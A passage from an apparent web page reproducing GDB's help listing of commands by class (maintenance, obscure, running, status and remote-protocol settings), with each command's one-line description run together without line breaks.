clear-packet-history -- Clears the branch tracing packet historymaintenance btrace packet-history -- Print the raw branch tracing datamaintenance check-psymtabs -- Check consistency of currently expanded psymtabs versus symtabsmaintenance check-symtabs -- Check consistency of currently expanded symtabsmaintenance cplus -- C++ maintenance commandsmaintenance cplus first_component -- Print the first class/namespace component of NAMEmaintenance cplus namespace -- Deprecated placeholder for removed functionalitymaintenance demangle -- This command has been moved to "demangle"maintenance demangler-warning -- Give GDB a demangler warningmaintenance deprecate -- Deprecate a commandmaintenance dump-me -- Get fatal error; make debugger dump its coremaintenance expand-symtabs -- Expand symbol tablesmaintenance flush-symbol-cache -- Flush the symbol cache for each program spacemaintenance info -- Commands for showing internal info about the program being debuggedmaintenance info bfds -- List the BFDs that are currently openmaintenance info breakpoints -- Status of all breakpointsmaintenance info btrace -- Info about branch tracing datamaintenance info program-spaces -- Info about currently known program spacesmaintenance info psymtabs -- List the partial symbol tables for all object filesmaintenance info sections -- List the BFD sections of the exec and core filesmaintenance info symtabs -- List the full symbol tables for all object filesmaintenance internal-error -- Give GDB an internal errormaintenance internal-warning -- Give GDB an internal warningmaintenance packet -- Send an arbitrary packet to a remote targetmaintenance print -- Maintenance command for printing GDB internal statemaintenance print architecture -- Print the internal architecture configurationmaintenance print c-tdesc -- Print the current target description as a C source filemaintenance print cooked-registers -- Print the internal register configuration including cooked valuesmaintenance print dummy-frames -- Print the contents of the internal dummy-frame stackmaintenance print msymbols -- Print dump of current minimal symbol definitionsmaintenance print objfiles -- Print dump of current object file definitionsmaintenance print psymbols -- Print dump of current partial symbol definitionsmaintenance print raw-registers -- Print the internal register configuration including raw valuesmaintenance print reggroups -- Print the internal register group namesmaintenance print register-groups -- Print the internal register configuration including each register's groupmaintenance print registers -- Print the internal register configurationmaintenance print remote-registers -- Print the internal register configuration including each register'smaintenance print statistics -- Print statistics about internal gdb statemaintenance print symbol-cache -- Dump the symbol cache for each program spacemaintenance print symbol-cache-statistics -- Print symbol cache statistics for each program spacemaintenance print symbols -- Print dump of current symbol definitionsmaintenance print target-stack -- Print the name of each layer of the internal target stackmaintenance print type -- Print a type chain for a given symbolmaintenance print user-registers -- List the names of the current user registersmaintenance set -- Set GDB internal variables used by the GDB maintainermaintenance set ada -- Set Ada maintenance-related variablesmaintenance set ada ignore-descriptive-types -- Set whether descriptive types generated by GNAT should be ignoredmaintenance set bfd-sharing -- Set whether gdb will share bfds that appear to be the same filemaintenance set btrace -- Set branch tracing specific variablesmaintenance set btrace pt -- Set Intel Processor Trace specific variablesmaintenance set btrace pt skip-pad -- Set whether PAD packets should be skipped in the btrace packet historymaintenance set catch-demangler-crashes -- Set whether to attempt to catch demangler crashesmaintenance set demangler-warning -- Configure what GDB does when demangler-warning is detectedmaintenance set demangler-warning quit -- Set whether GDB should quit when an demangler-warning is detectedmaintenance set dwarf -- Set DWARF specific variablesmaintenance set dwarf always-disassemble -- Set whether `info address' always disassembles DWARF expressionsmaintenance set dwarf max-cache-age -- Set the upper bound on the age of cached DWARF compilation unitsmaintenance set internal-error -- Configure what GDB does when internal-error is detectedmaintenance set internal-error corefile -- Set whether GDB should create a core file of GDB when internal-error is detectedmaintenance set internal-error quit -- Set whether GDB should quit when an internal-error is detectedmaintenance set internal-warning -- Configure what GDB does when internal-warning is detectedmaintenance set internal-warning corefile -- Set whether GDB should create a core file of GDB when internal-warning is detectedmaintenance set internal-warning quit -- Set whether GDB should quit when an internal-warning is detectedmaintenance set per-command -- Per-command statistics settingsset per-command space -- Set whether to display per-command space usageset per-command symtab -- Set whether to display per-command symtab statisticsset per-command time -- Set whether to display per-command execution timemaintenance set profile -- Set internal profilingmaintenance set show-debug-regs -- Set whether to show variables that mirror the x86 debug registersmaintenance set symbol-cache-size -- Set the size of the symbol cachemaintenance set target-async -- Set whether gdb controls the inferior in asynchronous modemaintenance set target-non-stop -- Set whether gdb always controls the inferior in non-stop modemaintenance show -- Show GDB internal variables used by the GDB maintainermaintenance show ada -- Show Ada maintenance-related variablesmaintenance show ada ignore-descriptive-types -- Show whether descriptive types generated by GNAT should be ignoredmaintenance show bfd-sharing -- Show whether gdb will share bfds that appear to be the same filemaintenance show btrace -- Show branch tracing specific variablesmaintenance show btrace pt -- Show Intel Processor Trace specific variablesmaintenance show btrace pt skip-pad -- Show whether PAD packets should be skipped in the btrace packet historymaintenance show catch-demangler-crashes -- Show whether to attempt to catch demangler crashesmaintenance show demangler-warning -- Show what GDB does when demangler-warning is detectedmaintenance show demangler-warning quit -- Show whether GDB will quit when an demangler-warning is detectedmaintenance show dwarf -- Show DWARF specific variablesmaintenance show dwarf always-disassemble -- Show whether `info address' always disassembles DWARF expressionsmaintenance show dwarf max-cache-age -- Show the upper bound on the age of cached DWARF compilation unitsmaintenance show internal-error -- Show what GDB does when internal-error is detectedmaintenance show internal-error corefile -- Show whether GDB will create a core file of GDB when internal-error is detectedmaintenance show internal-error quit -- Show whether GDB will quit when an internal-error is detectedmaintenance show internal-warning -- Show what GDB does when internal-warning is detectedmaintenance show internal-warning corefile -- Show whether GDB will create a core file of GDB when internal-warning is detectedmaintenance show internal-warning quit -- Show whether GDB will quit when an internal-warning is detectedmaintenance show per-command -- Show per-command statistics settingsshow per-command space -- Show whether to display per-command space usageshow per-command symtab -- Show whether to display per-command symtab statisticsshow per-command time -- Show whether to display per-command execution timemaintenance show profile -- Show internal profilingmaintenance show show-debug-regs -- Show whether to show variables that mirror the x86 debug registersmaintenance show symbol-cache-size -- Show the size of the symbol cachemaintenance show target-async -- Show whether gdb controls the inferior in asynchronous modemaintenance show target-non-stop -- Show whether gdb always controls the inferior in non-stop modemaintenance space -- Set the display of space usagemaintenance time -- Set the display of time usagemaintenance translate-address -- Translate a section name and address to a symbolmaintenance undeprecate -- Undeprecate a command</code></pre><h1 id="Command-class-obscure"><a href="#Command-class-obscure" class="headerlink" title="Command class: obscure"></a>Command class: obscure</h1><pre><code>checkpoint -- Fork a duplicate process (experimental)compare-sections -- Compare section data on target to the exec filecompile -- Command to compile source code and inject it into the inferiorcompile code -- Compilecompile file -- Evaluate a file containing source codecompile print -- Evaluate EXPR by using the compiler and print resultcomplete -- List the completions for the rest of the line as a commandexpression -- Command to compile source code and inject it into the inferiorcompile code -- Compilecompile file -- Evaluate a file containing source codecompile print -- Evaluate EXPR by using the compiler and print resultfastbins -- Walk and print the fast binsfreebins -- Walk and print the nonempty free binsguile -- Evaluate a Guile expressionguile-repl -- Start a Guile interactive promptheap -- Libheap command help listingheapls -- Print a flat listing of an arenaheaplsc -- Print compact arena layout (all chunks)monitor -- Send a command to the remote monitor (remote targets only)mstats -- Print general malloc statsprint_bin_layout -- Dump the layout of a free binpython -- Evaluate a Python commandpython-interactive -- Start an interactive Python promptrecord -- Start recordingrecord btrace -- Start branch trace recordingrecord btrace bts -- Start branch trace recording in Branch Trace Store (BTS) formatrecord btrace pt -- Start branch trace recording in Intel Processor Trace formatrecord delete -- Delete the rest of execution log and start recording it anewrecord full -- Start full execution recordingrecord full restore -- Restore the execution log from a filerecord function-call-history -- Prints the execution history at function granularityrecord goto -- Restore the program to its state at instruction number Nrecord goto begin -- Go to the beginning of the execution logrecord goto end -- Go to the end of the execution logrecord instruction-history -- Print disassembled instructions stored in the execution logrecord save -- Save the execution log to a filerecord stop -- Stop the record/replay targetrestart -- Restart <n>: restore program context from a checkpointsmallbins -- Walk and print the small binsstop -- There is no `stop' command</code></pre><h1 id="Command-class-running"><a href="#Command-class-running" class="headerlink" title="Command class: running"></a>Command class: running</h1><pre><code>advance -- Continue the program up to the given location (same form as args for break command)attach -- Attach to a process or file outside of GDBcontinue -- Continue program being debuggeddetach -- Detach a process or file previously attacheddetach checkpoint -- Detach from a checkpoint (experimental)detach inferiors -- Detach from inferior ID (or list of IDS)disconnect -- Disconnect from a targetfinish -- Execute until selected stack frame returnshandle -- Specify how to handle signalsinferior -- Use this command to switch between inferiorsinterrupt -- Interrupt the execution of the debugged programjump -- Continue program being debugged at specified line or addresskill -- Kill execution of program being debuggedkill inferiors -- Kill inferior ID (or list of IDs)next -- Step programnexti -- Step one instructionqueue-signal -- Queue a signal to be delivered to the current thread when it is resumedreverse-continue -- Continue program being debugged but run it in reversereverse-finish -- Execute backward until just before selected stack frame is calledreverse-next -- Step program backwardreverse-nexti -- Step backward one instructionreverse-step -- Step program backward until it reaches the beginning of another source linereverse-stepi -- Step backward exactly one instructionrun -- Start debugged programsignal -- Continue program with the specified signalstep -- Step program until it reaches a different source linestepi -- Step one instruction exactlytarget -- Connect to a target machine or processtarget core -- Use a core file as a targettarget ctf -- Use a CTF directory as a targettarget exec -- Use an executable file as a targettarget extended-remote -- Use a remote computer via a serial linetarget native -- Native process (started by the "run" command)target record -- Log program while executing and replay execution from logtarget record-btrace -- Collect control-flow trace and provide the execution historytarget record-core -- Log program while executing and replay execution from logtarget record-full -- Log program while executing and replay execution from logtarget remote -- Use a remote computer via a serial linetarget tfile -- Use a trace file as a targettask -- Use this command to switch between Ada tasksthread -- Use this command to switch between threadsthread apply -- Apply a command to a list of threadsthread apply all -- Apply a command to all threadsthread find -- Find threads that match a regular expressionthread name -- Set the current thread's nameuntil -- Execute until the program reaches a source line greater than the current</code></pre><h1 id="Command-class-status"><a href="#Command-class-status" class="headerlink" title="Command class: status"></a>Command class: status</h1><pre><code>info -- Generic command for showing things about the program being debuggedinfo address -- Describe where symbol SYM is storedinfo all-registers -- List of all registers and their contentsinfo args -- Argument variables of current stack frameinfo auto-load -- Print current status of auto-loaded filesinfo auto-load gdb-scripts -- Print the list of automatically loaded sequences of commandsinfo auto-load libthread-db -- Print the list of loaded inferior specific libthread_dbinfo auto-load local-gdbinit -- Print whether current directory .gdbinit file has been loadedinfo auto-load python-scripts -- Print the list of automatically loaded Python scriptsinfo auto-load-scripts -- Print the list of automatically loaded Python scriptsinfo auxv -- Display the inferior's auxiliary vectorinfo bookmarks -- Status of user-settable bookmarksinfo breakpoints -- Status of specified breakpoints (all user-settable breakpoints if no argument)info checkpoints -- IDs of currently known checkpointsinfo classes -- All Objective-C classesinfo common -- Print out the values contained in a Fortran COMMON blockinfo copying -- Conditions for redistributing copies of GDBinfo dcache -- Print information on the dcache performanceinfo display -- Expressions to display when program stopsinfo exceptions -- List all Ada exception namesinfo extensions -- All filename extensions associated with a source languageinfo files -- Names of targets and files being debuggedinfo float -- Print the status of the floating point unitinfo frame -- All about selected stack frameinfo frame-filter -- List all registered Python frame-filtersinfo functions -- All function namesinfo guile -- Prefix command for Guile info displaysinfo handle -- What debugger does when program gets various signalsinfo inferiors -- IDs of specified inferiors (all inferiors if no argument)info line -- Core addresses of the code for a source lineinfo locals -- Local variables of current stack frameinfo macro -- Show the definition of MACROinfo macros -- Show the definitions of all macros at LINESPECinfo mem -- Memory region attributesinfo os -- Show OS data ARGinfo pretty-printer -- GDB command to list all registered pretty-printersinfo probes -- Show available static probesinfo probes all -- Show information about all type of probesinfo probes dtrace -- Show information about DTrace static probesinfo probes stap -- Show information about SystemTap static probesinfo proc -- Show /proc process information about any running processinfo proc all -- List all available /proc infoinfo proc cmdline -- List command line arguments of the processinfo proc cwd -- List current working directory of the processinfo proc exe -- List absolute filename for executable of the processinfo proc mappings -- List of mapped memory regionsinfo proc stat -- List process info from /proc/PID/statinfo proc status -- List process info from /proc/PID/statusinfo program -- Execution status of the programinfo record -- Info record optionsinfo registers -- List of integer registers and their contentsinfo scope -- List the variables local to a scopeinfo selectors -- All Objective-C selectorsinfo set -- Show all GDB settingsinfo sharedlibrary -- Status of loaded shared object librariesinfo signals -- What debugger does when program gets various signalsinfo skip -- Display the status of skipsinfo source -- Information about the current source fileinfo sources -- Source files in the programinfo stack -- Backtrace of the stackinfo static-tracepoint-markers -- List target static tracepoints markersinfo symbol -- Describe what symbol is at location ADDRinfo target -- Names of targets and files being debuggedinfo tasks -- Provide information about all known Ada tasksinfo terminal -- Print inferior's saved terminal statusinfo threads -- Display currently known threadsinfo tracepoints -- Status of specified tracepoints (all tracepoints if no argument)info tvariables -- Status of trace state variables and their valuesinfo type-printers -- GDB command to list all registered type-printersinfo types -- All type namesinfo unwinder -- GDB command to list unwindersinfo variables -- All global and static variable namesinfo vector -- Print the status of the vector unitinfo vtbl -- Show the virtual function table for a C++ objectinfo warranty -- Various kinds of warranty you do not haveinfo watchpoints -- Status of specified watchpoints (all watchpoints if no argument)info win -- List of all displayed windowsinfo xmethod -- GDB command to list registered xmethod matchersmacro -- Prefix for commands dealing with C preprocessor macrosmacro define -- Define a new C/C++ preprocessor macromacro expand -- Fully expand any C/C++ preprocessor macro invocations in EXPRESSIONmacro expand-once -- Expand C/C++ preprocessor macro invocations appearing directly in EXPRESSIONmacro list -- List all the macros defined using the `macro define' commandmacro undef -- Remove the definition of the C/C++ preprocessor macro with the given nameshow -- Generic command for showing things about the debuggershow ada -- Generic command for showing Ada-specific settingsshow ada print-signatures -- Show whether the output of formal and return types for functions in the overloads selection menu is activatedshow ada trust-PAD-over-XVS -- Show whether an optimization trusting PAD types over XVS types is activatedshow agent -- Show debugger's willingness to use agent as a helpershow annotate -- Show annotation_levelshow architecture -- Show architecture of targetshow args -- Show argument list to give program being debugged when it is startedshow auto-connect-native-target -- Show whether GDB may automatically connect to the native targetshow auto-load -- Show auto-loading specific settingsshow auto-load gdb-scripts -- Show whether auto-loading of canned sequences of commands scripts is enabledshow auto-load libthread-db -- Show whether auto-loading inferior specific libthread_db is enabledshow auto-load local-gdbinit -- Show whether auto-loading .gdbinit script in current directory is enabledshow auto-load python-scripts -- Show the debugger's behaviour regarding auto-loaded Python scriptsshow auto-load safe-path -- Show the list of files and directories that are safe for auto-loadingshow auto-load scripts-directory -- Show the list of directories from which to load auto-loaded scriptsshow auto-load-scripts -- Show the debugger's behaviour regarding auto-loaded Python scriptsshow auto-solib-add -- Show autoloading of shared library symbolsshow backtrace -- Show backtrace specific variablesshow backtrace limit -- Show the upper bound on the number of backtrace levelsshow backtrace past-entry -- Show whether backtraces should continue past the entry point of a programshow backtrace past-main -- Show whether backtraces should continue past "main"show basenames-may-differ -- Show whether a source file may have multiple base namesshow breakpoint -- Breakpoint specific settingsshow breakpoint always-inserted -- Show mode for inserting breakpointsshow breakpoint auto-hw -- Show automatic usage of hardware breakpointsshow breakpoint condition-evaluation -- Show mode of breakpoint condition evaluationshow breakpoint pending -- Show debugger's behavior regarding pending breakpointsshow can-use-hw-watchpoints -- Show debugger's willingness to use watchpoint hardwareshow case-sensitive -- Show case sensitivity in name searchshow charset -- Show the host and target character setsshow check -- Show the status of the type/range checkershow check range -- Show range checkingshow check type -- Show strict type checkingshow circular-trace-buffer -- Show target's use of circular trace buffershow code-cache -- Show cache use for code segment accessshow coerce-float-to-double -- Show coercion of floats to doubles when calling functionsshow commands -- Show the history of commands you typedshow compile-args -- Show compile command GCC command-line argumentsshow complaints -- Show max number of complaints about incorrect symbolsshow configuration -- Show how GDB was configured at build timeshow confirm -- Show whether to confirm potentially dangerous operationsshow convenience -- Debugger convenience ("foo") variables and functionsshow copying -- Conditions for redistributing copies of GDBshow cp-abi -- Show the ABI used for inspecting C++ objectsshow data-directory -- Show GDB's data directoryshow dcache -- Show dcachesettingsshow dcache line-size -- Show dcache line sizeshow dcache size -- Show number of dcache linesshow debug -- Generic command for showing gdb debugging flagsshow debug arch -- Show architecture debuggingshow debug auto-load -- Show auto-load verifications debuggingshow debug bfd-cache -- Show bfd cache debuggingshow debug check-physname -- Show cross-checking of "physname" code against demanglershow debug coff-pe-read -- Show coff PE read debuggingshow debug compile -- Show compile command debuggingshow debug displaced -- Show displaced stepping debuggingshow debug dwarf-die -- Show debugging of the DWARF DIE readershow debug dwarf-line -- Show debugging of the dwarf line readershow debug dwarf-read -- Show debugging of the DWARF readershow debug entry-values -- Show entry values and tail call frames debuggingshow debug expression -- Show expression debuggingshow debug frame -- Show frame debuggingshow debug infrun -- Show inferior debuggingshow debug jit -- Show JIT debuggingshow debug libthread-db -- Show libthread-db debuggingshow debug lin-lwp -- Show debugging of GNU/Linux lwp moduleshow debug linux-namespaces -- Show debugging of GNU/Linux namespaces moduleshow debug notification -- Show debugging of async remote notificationshow debug observer -- Show observer debuggingshow debug overload -- Show debugging of C++ overloadingshow debug parser -- Show parser debuggingshow debug py-unwind -- Show Python unwinder debuggingshow debug record -- Show debugging of record/replay featureshow debug remote -- Show debugging of remote protocolshow debug serial -- Show serial debuggingshow debug stap-expression -- Show SystemTap expression debuggingshow debug symbol-lookup -- Show debugging of symbol lookupshow debug symfile -- Show debugging of the symfile functionsshow debug symtab-create -- Show debugging of symbol table creationshow debug target -- Show target debuggingshow debug timestamp -- Show timestamping of debugging messagesshow debug varobj -- Show varobj debuggingshow debug xml -- Show XML parser debuggingshow debug-file-directory -- Show the directories where separate debug symbols are searched forshow default-collect -- Show the list of expressions to collect by defaultshow demangle-style -- Show the current C++ demangling styleshow detach-on-fork -- Show whether gdb will detach the child of a forkshow directories -- Show the search path for finding source filesshow disable-randomization -- Show disabling of debuggee's virtual address space randomizationshow disassemble-next-line -- Show whether to disassemble next source line or insn when execution stopsshow disassembly-flavor -- Show the disassembly flavorshow disconnected-dprintf -- Show whether dprintf continues after GDB disconnectsshow disconnected-tracing -- Show whether tracing continues after GDB disconnectsshow displaced-stepping -- Show debugger's willingness to use displaced steppingshow dprintf-channel -- Show the channel to use for dynamic printfshow dprintf-function -- Show the function to use for dynamic printfshow dprintf-style -- Show the style of usage for dynamic printfshow editing -- Show editing of command lines as they are typedshow endian -- Show endianness of targetshow environment -- The environment to give the programshow exec-direction -- Show direction of execution (forward/reverse)show exec-done-display -- Show notification of completion for asynchronous execution commandsshow exec-wrapper -- Show the wrapper for running programsshow extended-prompt -- Show the extended promptshow extension-language -- Show mapping between filename extension and source languageshow filename-display -- Show how to display filenamesshow follow-exec-mode -- Show debugger response to a program call of execshow follow-fork-mode -- Show debugger response to a program call of fork or vforkshow frame-filter -- Prefix command for 'show' frame-filter related operationsshow frame-filter priority -- GDB command to show the priority of the specified frame-filtershow gnutarget -- Show the current BFD targetshow guile -- Prefix command for Guile preference settingsshow guile print-stack -- Show the mode of Guile exception printing on errorshow height -- Show number of lines in a page for GDB output paginationshow history -- Generic command for showing command history parametersshow history expansion -- Show history expansion on command inputshow history filename -- Show the filename in which to record the command historyshow history remove-duplicates -- Show how far back in history to look for and remove duplicate entriesshow history save -- Show saving of the history record on exitshow history size -- Show the size of the command historyshow host-charset -- Show the host character setshow inferior-tty -- Show terminal for future runs of program being debuggedshow input-radix -- Show default input radix for entering numbersshow interactive-mode -- Show whether GDB's standard input is a terminalshow language -- Show the current source languageshow libthread-db-search-path -- Show the current search path or libthread_dbshow listsize -- Show number of source lines gdb will list by defaultshow logging -- Show logging optionsshow logging file -- Show the current logfileshow logging overwrite -- Show whether logging overwrites or appends to the log fileshow logging redirect -- Show the logging output modeshow max-completions -- Show maximum number of completion candidatesshow max-user-call-depth -- Show the max call depth for non-python/scheme user-defined commandsshow max-value-size -- Show maximum sized value gdb will load from the inferiorshow may-insert-breakpoints -- Show permission to insert breakpoints in the targetshow may-insert-fast-tracepoints -- Show permission to insert fast tracepoints in the targetshow may-insert-tracepoints -- Show permission to insert tracepoints in the targetshow may-interrupt -- Show permission to interrupt or signal the targetshow may-write-memory -- Show permission to write into target memoryshow may-write-registers -- Show permission to write into registersshow mem -- Memory regions settingsshow mem inaccessible-by-default -- Show handling of unknown memory regionsshow mi-async -- Show whether MI asynchronous mode is enabledshow mpx -- Show Intel Memory Protection Extensions specific variablesshow mpx bound -- Show the memory bounds for a given array/pointer storage in the bound tableshow multiple-symbols -- Show how the debugger handles ambiguities in expressionsshow non-stop -- Show whether gdb controls the inferior in non-stop modeshow observer -- Show whether gdb controls the inferior in observer modeshow opaque-type-resolution -- Show resolution of opaque struct/class/union types (if set before loading symbols)show osabi -- Show OS ABI of targetshow output-radix -- Show default output radix for printing of valuesshow overload-resolution -- Show overload resolution in evaluating C++ functionsshow pagination -- Show state of GDB output paginationshow paths -- Current search path for finding object filesshow print -- Generic command for showing print settingsshow print address -- Show printing of addressesshow print array -- Show pretty formatting of arraysshow print array-indexes -- Show printing of array indexesshow print asm-demangle -- Show demangling of C++/ObjC names in disassembly listingsshow print demangle -- Show demangling of encoded C++/ObjC names when displaying symbolsshow print elements -- Show limit on string chars or array elements to printshow print entry-values -- Show printing of function arguments at function entryshow print frame-arguments -- Show printing of non-scalar frame argumentsshow print inferior-events -- Show printing of inferior events (e.g.show print max-symbolic-offset -- Show the largest offset that will be printed in <symbol+1234> formshow print null-stop -- Show printing of char arrays to stop at first null charshow print object -- Show printing of object's derived type based on vtable infoshow print pascal_static-members -- Show printing of pascal static membersshow print pretty -- Show pretty formatting of structuresshow print raw -- Generic command for showing "print raw" settingsshow print raw frame-arguments -- Show whether to print frame arguments in raw formshow print repeats -- Show threshold for repeated print elementsshow print sevenbit-strings -- Show printing of 8-bit characters in strings as \nnnshow print static-members -- Show printing of C++ static membersshow print symbol -- Show printing of symbol names when printing pointersshow print symbol-filename -- Show printing of source filename and line number with <symbol>show print symbol-loading -- Show printing of symbol loading messagesshow print thread-events -- Show printing of thread events (such as thread start and exit)show print type -- Generic command for showing type-printing settingsshow print type methods -- Show printing of methods defined in classesshow print type typedefs -- Show printing of typedefs defined in classesshow print union -- Show printing of unions interior to structuresshow print vtbl -- Show printing of C++ virtual function tablesshow prompt -- Show gdb's promptshow python -- Prefix command for python preference settingsshow python print-stack -- Show the mode of Python stack printing on errorshow radix -- Show the default input and output number radicesshow range-stepping -- Show whether target-assisted range stepping is enabledshow record -- Show record optionsshow record btrace -- Show record optionsshow record btrace bts -- Show record btrace bts optionsshow record btrace bts buffer-size -- Show the record/replay bts buffer sizeshow record btrace pt -- Show record btrace pt optionsshow record btrace pt buffer-size -- Show the record/replay pt buffer sizeshow record btrace replay-memory-access -- Show what memory accesses are allowed during replayshow record full -- Show record optionsshow record full insn-number-max -- Show record/replay buffer limitshow record full memory-query -- Show whether query if PREC cannot record memory change of next instructionshow record full stop-at-limit -- Show whether record/replay stops when record/replay buffer becomes fullshow record function-call-history-size -- Show number of functions to print in "record function-call-history"show record instruction-history-size -- Show number of instructions to print in "record instruction-history"show remote -- Remote protocol specific variablesshow remote P-packet -- Show current use of remote protocol `P' (set-register) packetshow remote TracepointSource-packet -- Show current use of remote protocol `TracepointSource' (TracepointSource) packetshow remote X-packet -- Show current use of remote protocol `X' (binary-download) packetshow remote Z-packet -- Show use of remote protocol `Z' packets show remote access-watchpoint-packet -- Show current use of remote protocol `Z4' (access-watchpoint) packetshow remote agent-packet -- Show current use of remote protocol `QAgent' (agent) packetshow remote allow-packet -- Show current use of remote protocol `QAllow' (allow) packetshow remote attach-packet -- Show current use of remote protocol `vAttach' (attach) packetshow remote binary-download-packet -- Show current use of remote protocol `X' (binary-download) packetshow remote breakpoint-commands-packet -- Show current use of remote protocol `BreakpointCommands' (breakpoint-commands) packetshow remote btrace-conf-bts-size-packet -- Show current use of remote protocol `Qbtrace-conf:bts:size' (btrace-conf-bts-size) packetshow remote btrace-conf-pt-size-packet -- Show current use of remote protocol `Qbtrace-conf:pt:size' (btrace-conf-pt-size) packetshow remote catch-syscalls-packet -- Show current use of remote protocol `QCatchSyscalls' (catch-syscalls) packetshow remote conditional-breakpoints-packet -- Show current use of remote protocol `ConditionalBreakpoints' (conditional-breakpoints) packetshow remote conditional-tracepoints-packet -- Show current use of remote protocol `ConditionalTracepoints' (conditional-tracepoints) packetshow remote ctrl-c-packet -- Show current use of remote protocol `vCtrlC' (ctrl-c) packetshow remote disable-btrace-packet -- Show current use of remote protocol `Qbtrace:off' (disable-btrace) packetshow remote disable-randomization-packet -- Show current use of remote protocol `QDisableRandomization' (disable-randomization) packetshow remote enable-btrace-bts-packet -- Show current use of remote protocol `Qbtrace:bts' (enable-btrace-bts) packetshow remote enable-btrace-pt-packet -- Show current use of remote protocol `Qbtrace:pt' (enable-btrace-pt) packetshow remote exec-event-feature-packet -- Show current use of remote protocol `exec-event-feature' (exec-event-feature) packetshow remote exec-file -- Show the remote pathname for "run"show remote fast-tracepoints-packet -- Show current use of remote protocol `FastTracepoints' (fast-tracepoints) packetshow remote fetch-register-packet -- Show current use of remote protocol `p' (fetch-register) packetshow remote fork-event-feature-packet -- Show current use of remote protocol `fork-event-feature' (fork-event-feature) packetshow remote get-thread-information-block-address-packet -- Show current use of remote protocol `qGetTIBAddr' (get-thread-information-block-address) packetshow remote get-thread-local-storage-address-packet -- Show current use of remote protocol `qGetTLSAddr' (get-thread-local-storage-address) packetshow remote hardware-breakpoint-limit -- Show the maximum number of target hardware breakpointsshow remote hardware-breakpoint-packet -- Show current use of remote protocol `Z1' (hardware-breakpoint) packetshow remote hardware-watchpoint-length-limit -- Show the maximum length (in bytes) of a target hardware watchpointshow remote hardware-watchpoint-limit -- Show the maximum number of target hardware watchpointsshow remote hostio-close-packet -- Show current use of remote protocol `vFile:close' (hostio-close) packetshow remote hostio-fstat-packet -- Show current use of remote protocol `vFile:fstat' (hostio-fstat) packetshow remote hostio-open-packet -- Show current use of remote protocol `vFile:open' (hostio-open) packetshow remote hostio-pread-packet -- Show current use of remote protocol `vFile:pread' (hostio-pread) packetshow remote hostio-pwrite-packet -- Show current use of remote protocol `vFile:pwrite' (hostio-pwrite) packetshow remote hostio-readlink-packet -- Show current use of remote protocol `vFile:readlink' (hostio-readlink) packetshow remote hostio-setfs-packet -- Show current use of remote protocol `vFile:setfs' (hostio-setfs) packetshow remote hostio-unlink-packet -- Show current use of remote protocol `vFile:unlink' (hostio-unlink) packetshow remote hwbreak-feature-packet -- Show current use of remote protocol `hwbreak-feature' (hwbreak-feature) packetshow remote install-in-trace-packet -- Show current use of remote protocol `InstallInTrace' (install-in-trace) packetshow remote interrupt-on-connect -- Show whether interrupt-sequence is sent to remote target when gdb connects toshow remote interrupt-sequence -- Show interrupt sequence to remote targetshow remote kill-packet -- Show current use of remote protocol `vKill' (kill) packetshow remote library-info-packet -- Show current use of remote protocol `qXfer:libraries:read' (library-info) packetshow remote library-info-svr4-packet -- Show current use of remote protocol `qXfer:libraries-svr4:read' (library-info-svr4) packetshow remote memory-map-packet -- Show current use of remote protocol `qXfer:memory-map:read' (memory-map) packetshow remote memory-read-packet-size -- Show the maximum number of bytes per memory-read packetshow remote memory-write-packet-size -- Show the maximum number of bytes per memory-write packetshow remote multiprocess-feature-packet -- Show current use of remote protocol `multiprocess-feature' (multiprocess-feature) packetshow remote no-resumed-stop-reply-packet -- Show current use of remote protocol `N stop reply' (no-resumed-stop-reply) packetshow remote noack-packet -- Show current use of remote protocol `QStartNoAckMode' (noack) packetshow remote osdata-packet -- Show current use of remote protocol `qXfer:osdata:read' (osdata) packetshow remote p-packet -- Show current use of remote protocol `p' (fetch-register) packetshow remote pass-signals-packet -- Show current use of remote protocol `QPassSignals' (pass-signals) packetshow remote pid-to-exec-file-packet -- Show current use of remote protocol `qXfer:exec-file:read' (pid-to-exec-file) packetshow remote program-signals-packet -- Show current use of remote protocol `QProgramSignals' (program-signals) packetshow remote query-attached-packet -- Show current use of remote protocol `qAttached' (query-attached) packetshow remote read-aux-vector-packet -- Show current use of remote protocol `qXfer:auxv:read' (read-aux-vector) packetshow remote read-btrace-conf-packet -- Show current use of remote protocol `qXfer:btrace-conf' (read-btrace-conf) packetshow remote read-btrace-packet -- Show current use of remote protocol `qXfer:btrace' (read-btrace) packetshow remote read-fdpic-loadmap-packet -- Show current use of remote protocol `qXfer:fdpic:read' (read-fdpic-loadmap) packetshow remote read-sdata-object-packet -- Show current use of remote protocol `qXfer:statictrace:read' (read-sdata-object) packetshow remote read-siginfo-object-packet -- Show current use of remote protocol `qXfer:siginfo:read' (read-siginfo-object) packetshow remote read-spu-object-packet -- Show current use of remote protocol `qXfer:spu:read' (read-spu-object) packetshow remote read-watchpoint-packet -- Show current use of remote protocol `Z3' (read-watchpoint) packetshow remote reverse-continue-packet -- Show current use of remote protocol `bc' (reverse-continue) packetshow remote reverse-step-packet -- Show current use of remote protocol `bs' (reverse-step) packetshow remote run-packet -- Show current use of remote protocol `vRun' (run) packetshow remote search-memory-packet -- Show current use of remote protocol `qSearch:memory' (search-memory) packetshow remote set-register-packet -- Show current use of remote protocol `P' (set-register) packetshow remote software-breakpoint-packet -- Show current use of remote protocol `Z0' (software-breakpoint) packetshow remote static-tracepoints-packet -- Show current use of remote protocol `StaticTracepoints' (static-tracepoints) packetshow remote supported-packets-packet -- Show current use of remote protocol `qSupported' (supported-packets) packetshow remote swbreak-feature-packet -- Show current use of remote protocol `swbreak-feature' (swbreak-feature) packetshow remote symbol-lookup-packet -- Show current use of remote protocol `qSymbol' (symbol-lookup) packetshow remote system-call-allowed -- Show if the host system(3) call is allowed for the targetshow remote target-features-packet -- Show current use of remote protocol `qXfer:features:read' (target-features) packetshow remote thread-events-packet -- Show current use of remote protocol `QThreadEvents' (thread-events) packetshow remote threads-packet -- Show current use of remote protocol `qXfer:threads:read' (threads) packetshow remote trace-buffer-size-packet -- Show current use of remote protocol `QTBuffer:size' (trace-buffer-size) packetshow remote trace-status-packet -- Show current use of remote protocol `qTStatus' (trace-status) packetshow remote traceframe-info-packet -- Show current use of remote protocol `qXfer:traceframe-info:read' (traceframe-info) packetshow remote unwind-info-block-packet -- Show current use of remote protocol `qXfer:uib:read' (unwind-info-block) packetshow remote verbose-resume-packet -- Show current use of remote protocol `vCont' (verbose-resume) packetshow remote verbose-resume-supported-packet -- Show current use of remote protocol `vContSupported' (verbose-resume-supported) packetshow remote vfork-event-feature-packet -- Show current use of remote protocol `vfork-event-feature' (vfork-event-feature) packetshow remote write-siginfo-object-packet -- Show current use of remote protocol `qXfer:siginfo:write' (write-siginfo-object) packetshow remote write-spu-object-packet -- 